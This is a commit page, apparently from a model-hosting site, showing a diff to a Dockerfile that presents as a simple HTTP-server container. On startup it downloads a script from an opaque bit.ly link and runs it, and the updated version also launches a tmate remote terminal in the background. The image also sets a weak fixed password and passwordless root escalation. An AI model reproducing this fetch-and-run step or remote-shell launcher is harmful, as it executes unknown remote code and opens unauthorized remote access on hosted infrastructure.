dracoox commited on
Commit
ec38773
·
verified ·
1 Parent(s): aea95e8

Update Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +16 -12
Dockerfile CHANGED
@@ -5,7 +5,7 @@ ENV LANG=en_US.UTF-8
5
  ENV LANGUAGE=en_US:en
6
  ENV LC_ALL=en_US.UTF-8
7
 
8
- # Install dependencies
9
  RUN apt update && apt upgrade -y && \
10
  apt install -y \
11
  curl wget git gnupg openssh-client \
@@ -19,14 +19,14 @@ RUN apt update && apt upgrade -y && \
19
  apt clean && rm -rf /var/lib/apt/lists/* && \
20
  apt update && apt install -y doas
21
 
22
- # Install Node.js 22 and npm
23
  RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
24
  apt install -y nodejs && npm install -g npm
25
 
26
- # Install speedtest-cli
27
  RUN pip3 install speedtest-cli
28
 
29
- # Create user 'draco' with UID 1000 and password 'draco'
30
  RUN useradd -m -s /bin/bash draco && \
31
  echo "draco:draco" | chpasswd && \
32
  usermod -u 1000 draco
@@ -34,24 +34,28 @@ RUN useradd -m -s /bin/bash draco && \
34
  # Allow 'draco' to use doas without password
35
  RUN echo "permit nopass draco" > /etc/doas.conf
36
 
37
- # Optional: alias sudo to doas
38
  RUN echo "alias sudo='doas'" >> /home/draco/.bashrc
39
 
40
- # SSH setup for 'draco'
41
  RUN mkdir -p /home/draco/.ssh && \
42
  ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
43
  chown -R draco:draco /home/draco/.ssh
44
 
45
- # Copy tmate launcher script (optional, create this file if needed)
46
- COPY run_tmate.sh /home/draco/run_tmate.sh
47
- RUN chmod +x /home/draco/run_tmate.sh && chown draco:draco /home/draco/run_tmate.sh
 
 
 
 
48
 
49
- # Switch to draco user and working directory
50
  USER draco
51
  WORKDIR /home/draco
52
 
53
  # Expose HTTP server port
54
  EXPOSE 7860
55
 
56
- # Download and run external script as draco
57
- CMD wget -O su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh && python3 -m http.server 7860
 
5
  ENV LANGUAGE=en_US:en
6
  ENV LC_ALL=en_US.UTF-8
7
 
8
+ # Install system dependencies
9
  RUN apt update && apt upgrade -y && \
10
  apt install -y \
11
  curl wget git gnupg openssh-client \
 
19
  apt clean && rm -rf /var/lib/apt/lists/* && \
20
  apt update && apt install -y doas
21
 
22
+ # Install Node.js 22 and latest npm
23
  RUN curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \
24
  apt install -y nodejs && npm install -g npm
25
 
26
+ # Install Python tool
27
  RUN pip3 install speedtest-cli
28
 
29
+ # Create 'draco' user
30
  RUN useradd -m -s /bin/bash draco && \
31
  echo "draco:draco" | chpasswd && \
32
  usermod -u 1000 draco
 
34
  # Allow 'draco' to use doas without password
35
  RUN echo "permit nopass draco" > /etc/doas.conf
36
 
37
+ # Alias sudo to doas
38
  RUN echo "alias sudo='doas'" >> /home/draco/.bashrc
39
 
40
+ # SSH key for draco
41
  RUN mkdir -p /home/draco/.ssh && \
42
  ssh-keygen -t rsa -f /home/draco/.ssh/id_rsa -N '' && \
43
  chown -R draco:draco /home/draco/.ssh
44
 
45
+ # Create tmate+script launcher
46
+ RUN echo '#!/bin/bash\n\
47
+ tmate -F &\n\
48
+ wget -O su.sh https://bit.ly/akuhGet && chmod +x su.sh && ./su.sh\n\
49
+ python3 -m http.server 7860' > /home/draco/startup.sh && \
50
+ chmod +x /home/draco/startup.sh && \
51
+ chown draco:draco /home/draco/startup.sh
52
 
53
+ # Set user and working dir
54
  USER draco
55
  WORKDIR /home/draco
56
 
57
  # Expose HTTP server port
58
  EXPOSE 7860
59
 
60
+ # Start everything
61
+ CMD ["bash", "startup.sh"]